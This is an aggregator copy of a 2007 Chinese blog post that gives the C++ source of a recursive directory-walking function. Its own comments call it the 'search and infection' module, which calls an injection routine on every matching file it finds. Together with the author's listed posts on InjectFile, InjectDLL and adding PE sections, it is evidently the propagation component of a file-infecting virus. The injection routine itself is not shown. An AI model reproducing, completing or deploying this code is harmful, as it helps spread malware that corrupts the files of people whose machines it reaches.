惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Y
Y Combinator Blog
有赞技术团队
有赞技术团队
J
Java Code Geeks
H
Hackread – Cybersecurity News, Data Breaches, AI and More
美团技术团队
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Hugging Face - Blog
Hugging Face - Blog
人人都是产品经理
人人都是产品经理
酷 壳 – CoolShell
酷 壳 – CoolShell
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
C
Check Point Blog
博客园 - 【当耐特】
The GitHub Blog
The GitHub Blog
Recent Announcements
Recent Announcements
The Cloudflare Blog
Microsoft Azure Blog
Microsoft Azure Blog
腾讯CDC
Vercel News
Vercel News
IT之家
IT之家
MyScale Blog
MyScale Blog
博客园_首页
Martin Fowler
Martin Fowler
WordPress大学
WordPress大学
罗磊的独立博客

博客园 - 龙巢NET刀

Windows位图文件格式[转] Windows堆栈区别[转] 聚焦3D地形编程第五章GeomipMapping for the CLOD 聚焦3D地形编程第四章光照化地形 聚焦3D地形编程第三章纹理化地形 聚焦3D地形编程第一章 The Journey into the great Outdoors 聚焦3D地形编程第二章Terrain 101 枚举驱动器 - 龙巢NET刀 - 博客园 和InjectFile配套InjectDLL - 龙巢NET刀 - 博客园 和InjectFile配套TestOne 激动的InjectFile 通过GUI方式打印信息 PE文件加区块 PE文件 我的简历 进度 我的经历我的历史 内嵌Lua问题 BGET内存分配器
文件遍历目录
龙巢NET刀 · 2007-05-23 · via 博客园 - 龙巢NET刀

文件遍历目录

// 对 选择进入子目录后 增加了一句 SetCurrentDirectory , 这样才不致于 重复枚举文件。 //搜索和感染模块 //内部检索所有文件, 在内部再判断扩展名 bool __stdcall SearchEntry(HWND param_ListBoxHWND, const char* param_curDir, const char* param_extendName, int (__stdcall *fpInject)(const char*)) { char tmpRoot[MAX_PATH] = {0}; lstrcpyn(tmpRoot, param_curDir, lstrlen(param_curDir) + 1); lstrcat(tmpRoot, "\\"); SetCurrentDirectory(tmpRoot); WIN32_FIND_DATA fd; ZeroMemory(&fd, sizeof(fd)); void *hFile = 0; hFile = FindFirstFile(param_extendName, &fd); // 根据扩展名 if(!hFile) return false; else { do { if( (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && lstrcmp(fd.cFileName, ".") && lstrcmp(fd.cFileName, "..")) { //SendMessage(param_ListBoxHWND, LB_ADDSTRING, 0, (LPARAM)"子目录"); char szSubDir[MAX_PATH] = {0}; lstrcpyn(szSubDir, tmpRoot, lstrlen(tmpRoot) + 1); lstrcat(szSubDir, fd.cFileName); SearchEntry(param_ListBoxHWND, szSubDir, param_extendName, fpInject); } SetCurrentDirectory(tmpRoot); //重新设回上级目录 // 要加入SEH异常处理, 使感染进行下去 if(!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { //SendMessage(param_ListBoxHWND, LB_ADDSTRING, 0, (LPARAM)fd.cFileName); char szPathName[260] = {0}; GetFullPathName(fd.cFileName, 260, szPathName, 0); //这里加上异常,使可以继续遍历 不管是C++异常还是SEH if(checkFileFlag(szPathName, 0)) { try { fpInject(szPathName); }catch(...) { MessageBox(NULL, "引发异常", "Exception", 0); } } } }while(FindNextFile(hFile, &fd)); FindClose(hFile); } return true; }

posted on 2007-05-23 22:55  龙巢NET刀  阅读(447)  评论()    收藏  举报